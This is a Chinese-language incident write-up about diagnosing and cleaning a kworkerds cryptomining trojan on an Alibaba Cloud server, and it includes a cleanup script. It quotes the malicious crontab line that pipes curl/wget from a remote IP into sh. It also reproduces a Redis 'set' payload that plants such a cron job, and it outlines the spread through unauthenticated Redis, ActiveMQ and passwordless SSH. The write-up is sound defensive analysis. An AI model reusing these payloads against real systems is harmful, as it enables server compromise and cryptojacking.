很多朋友都在使用阿里云, 但遇到过阿里云被植入木马的情况么? 小编今天就遇到了. 阿里云有自己的安全机制, 一般情况下不会有什么问题, 那木马又是被怎么植入的呢? 今天为您解析.
一, 起因
今天, 同事说我负责的模块在阿里云上不工作了, 我赶忙远程登录查看.
1. 服务器的症状
敲命令的时候, 终端的字符回传很快, 但是命令的响应时间较长;
服务器内存 32GB, 剩余 200MB;
CPU 跑到了 99%;
我负责的模块之前一直工作正常, 稳定性好, 没修改过配置, 但现在不能工作;
查看我负责的模块配置正常, 运行正常, 但部分服务出错;
top 命令未发现有高耗 CPU 的进程, 但是有大量的 kworkerds 进程.
2. 定位分析
病症 1,3,6 说明是阿里云服务器已经产生了异常.
根据病症 4,5 一步步梳理流程, 核对日志, 定位问题, 最终发现, Redis 可以正常提供服务, 但程序无法将数据刷新到 Redis, 导致分别负责读写的两个模块数据长时间不能同步, 重启 Redis 后服务正常. 但问题需要进一步分析.
二, 查找木马
服务器是与别人共用的, 其他的服务, 我们不知道是否有用. 但服务器卡顿, 实在影响调试效率, 搜索了一下 kworkerds, 才知道是个挖矿的木马程序.
查看木马进程数
- [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
- 385
kill 掉所有木马进程
[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
查看开机启动项和任务
- [root@XXX ~]# systemctl list-unit-files
- (没发现问题, 就不贴进来了)
- [root@XXX ~]# cat /etc/rc.local
- (没发现问题, 就不贴进来了)
- [root@XXX ~]# cat /etc/crontab
- ...
- 01 * * * * root run-parts /etc/cron.hourly
- 02 4 * * * root run-parts /etc/cron.daily
- 0 1 * * * root /usr/local/bin/dns
- [root@XXX ~]# crontab -l
- */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
"/etc/crontab" 里的内容看起来好像是正常, 但是 "crontab -l" 中显示的内容有些来路不明.
于是下载代码查看
- [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
- (木马的代码我就不贴进来了)
限于篇幅, 木马的代码就不展示在此了, 大家可以自行下载查看, 记住, 下载的时候要把 "|sh" 去掉, 当心玩火自焚.
三, 分析木马
木马脚本写得还是不错的, 风格整齐, 逻辑严谨. 出色地完成了以下功能:
删除阿里云云盾客户端和阿里云监控程序;
停止, 删除主机已经存在的其他挖矿程序;
下载挖矿程序和配置文件并执行;
约束木马程序, 防止触发服务器性能监测工具告警;
设置任务计划, 保持更新, 持续感染主机;
通过本机感染其他主机;
清空操作日志, 篡改文件修改时间, 隐藏自己的访问踪迹.
木马中同时用了 shell 和 python 两种脚本, 脚本逐层嵌套, 对于一些敏感的代码, 使用了 base64 进行加密, 针对不同的系统平台有不同的处理, 同时锁定了自己修改的文件, 防止被别的程序随意修改, 提供远程服务的 IP 地址来自非洲东部的塞舌尔共和国.
四, 木马是如何传播的
1. 传播方式
木马传播方式有三种, 如下:
activeMQ
Redis
SSH 的免密码登录
2. 传播思路
木马感染的步骤如下:
通过扫描 "xxx.xxx.0.0/16" 网段内的所有 IP 的 6379 和 8186 两个端口;
如果可以连接, 那么以 key-value 的形式写入数据;
'set SwE3SC"\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n'
将该条数据以文件的形式保存到定时任务的文件目录, 如 / var/spool/cron/root 等;
下个定时周期到来时, 服务器自动下载远程脚本并执行;
遍历该主机可以免密码登录的其他主机, 远程连接并执行代码.
远程脚本执行时, 会重新修改定时任务等文件, 保证可以持续感染主机, 同时也隐藏了第一次感染的痕迹. 之后每个定时周期到来时, 都会重复 4,5 两个步骤.
3. 排查漏洞
服务器中没有 activeMQ, 没有. SSH 文件夹. 小编也根据代码流程, 感染了一下自己的 Redis, 但是并没有达到预期的结果.
本人用的 Redis 文件保存的时候是二进制的, 不是字符串, 根本无法被定时任务执行, 但是修改感染脚本, 可以完成黑客设置的既定思路.
- #!/bin/bash
- ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
- chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
- echo "" > /usr/local/bin/dns
- echo "" > /etc/cron.d/root
- echo "" > /etc/cron.d/apache
- echo "" > /var/spool/cron/root
- echo "" > /var/spool/cron/crontabs/root
- rm -rf /etc/cron.hourly/oanacroner
- rm -rf /etc/cron.daily/oanacroner
- rm -rf /etc/cron.monthly/oanacroner
- sed -i '/cron.hourly/d' /etc/crontab
- sed -i '/cron.daily/d' /etc/crontab
- sed -i '/usr\/local\/bin\/dns/d' /etc/crontab
- #sed -i '$d' /etc/ld.so.preload
- rm -rf /usr/local/lib/libntpd.so
- #/tmp/.a 可以不删, 木马是通过此文件判断是否要卸载阿里云盾
- #rm -rf /tmp/.a
- rm -rf /bin/kworkerds
- rm -rf /tmp/kworkerds
- rm -rf /usr/sbin/kworkerds
- rm -rf /etc/init.d/kworker
- chkconfig --del kworker
来源: http://netsecurity.51cto.com/art/201905/597088.htm